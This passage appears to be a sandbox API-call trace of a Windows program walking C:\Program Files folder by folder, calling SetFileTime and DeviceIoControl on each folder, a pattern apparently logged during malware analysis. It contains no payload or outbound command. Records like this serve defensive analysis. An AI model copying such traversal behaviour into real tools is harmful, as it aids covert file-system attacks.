lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 0 [0045.892] GetLastError () returned 0x12 [0045.892] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f720) returned 1 [0045.892] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0045.892] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f7a8) returned 1 [0045.892] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f148) returned 1 [0045.892] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af768 | out: lpFindFileData=0x17af768*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x20481c30, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x20481c30, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x430150, cFileName="Program Files", cAlternateFileName="")) returned 1 [0045.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f148 [0045.892] GetFileAttributesExW (in: lpFileName="C:\\Program Files" (normalized: "c:\\program files"), fInfoLevelId=0x0, lpFileInformation=0x17af664 | out: lpFileInformation=0x17af664*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x20481c30, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x20481c30, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0045.892] CreateFileW (lpFileName="C:\\Program Files" (normalized: "c:\\program files"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0045.892] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17af6a8, lpLastWriteTime=0x17af6a8) returned 0 [0045.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xedfe90 [0045.892] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xedfe90, nOutBufferSize=0x4000, lpBytesReturned=0x17af700, lpOverlapped=0x0 | out: lpOutBuffer=0xedfe90, lpBytesReturned=0x17af700, lpOverlapped=0x0) returned 0 [0045.892] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xedfe90) returned 1 [0045.893] NtClose (Handle=0x134) returned 0x0 [0045.893] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f148) returned 1 [0045.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f148 [0045.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f7a8 [0045.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f720 [0045.893] FindFirstFileExW (in: lpFileName="C:\\Program Files\\*", fInfoLevelId=0x1, lpFindFileData=0x17af4b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af4b0) returned 0x459bb8 [0045.893] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x20481c30, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x20481c30, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.893] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="")) returned 1 [0045.893] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0045.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0045.893] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0045.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0045.893] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0045.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0045.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedbde8 [0045.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f368 [0045.893] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0045.893] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d17a490, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x1d17a490, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVD Maker", cAlternateFileName="")) returned 1 [0045.893] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d4c02d0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x1d4c02d0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="")) returned 1 [0045.893] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="")) returned 1 [0045.893] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x512f1610, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="")) returned 1 [0045.893] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SQL Server Compact Edition", cAlternateFileName="")) returned 1 [0045.893] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Sync Framework", cAlternateFileName="")) returned 1 [0045.893] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1d154330, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x1d154330, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Synchronization Services", cAlternateFileName="")) returned 1 [0045.893] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d4c02d0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x1d4c02d0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0045.893] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d095c50, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x1d095c50, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="")) returned 1 [0045.893] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="")) returned 1 [0045.893] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="")) returned 1 [0045.894] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x1d4c02d0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x1d4c02d0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="")) returned 1 [0045.894] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="")) returned 1 [0045.894] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ead9a68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="")) returned 1 [0045.894] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="")) returned 1 [0045.894] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d154330, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x1d154330, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="")) returned 1 [0045.894] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x987bf1ac, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x987bf1ac, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="")) returned 1 [0045.894] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="")) returned 1 [0045.894] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="")) returned 0 [0045.894] GetLastError () returned 0x12 [0045.894] FindFirstFileExW (in: lpFileName="C:\\Program Files\\*", fInfoLevelId=0x1, lpFindFileData=0x17af4b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af4b0) returned 0x459b78 [0045.894] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0045.894] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x20481c30, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x20481c30, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.894] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="")) returned 1 [0045.894] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0045.894] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files" (normalized: "c:\\program files\\common files"), fInfoLevelId=0x0, lpFileInformation=0x17af3ac | out: lpFileInformation=0x17af3ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0045.894] CreateFileW (lpFileName="C:\\Program Files\\Common Files" (normalized: "c:\\program files\\common files"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0045.894] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0045.894] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xedfe90 [0045.894] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xedfe90, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0xedfe90, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0045.894] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xedfe90) returned 1 [0045.894] NtClose (Handle=0x134) returned 0x0 [0045.894] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0045.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0045.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f2e0 [0045.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0045.895] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459bb8 [0045.895] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.895] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0045.895] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="")) returned 1 [0045.895] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0045.895] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="")) returned 1 [0045.895] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0045.895] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0045.895] GetLastError () returned 0x12 [0045.895] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459bf8 [0045.895] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0045.895] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.895] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0045.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.895] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER" (normalized: "c:\\program files\\common files\\designer"), fInfoLevelId=0x0, lpFileInformation=0x17af0f4 | out: lpFileInformation=0x17af0f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.896] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER" (normalized: "c:\\program files\\common files\\designer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0045.896] SetFileTime 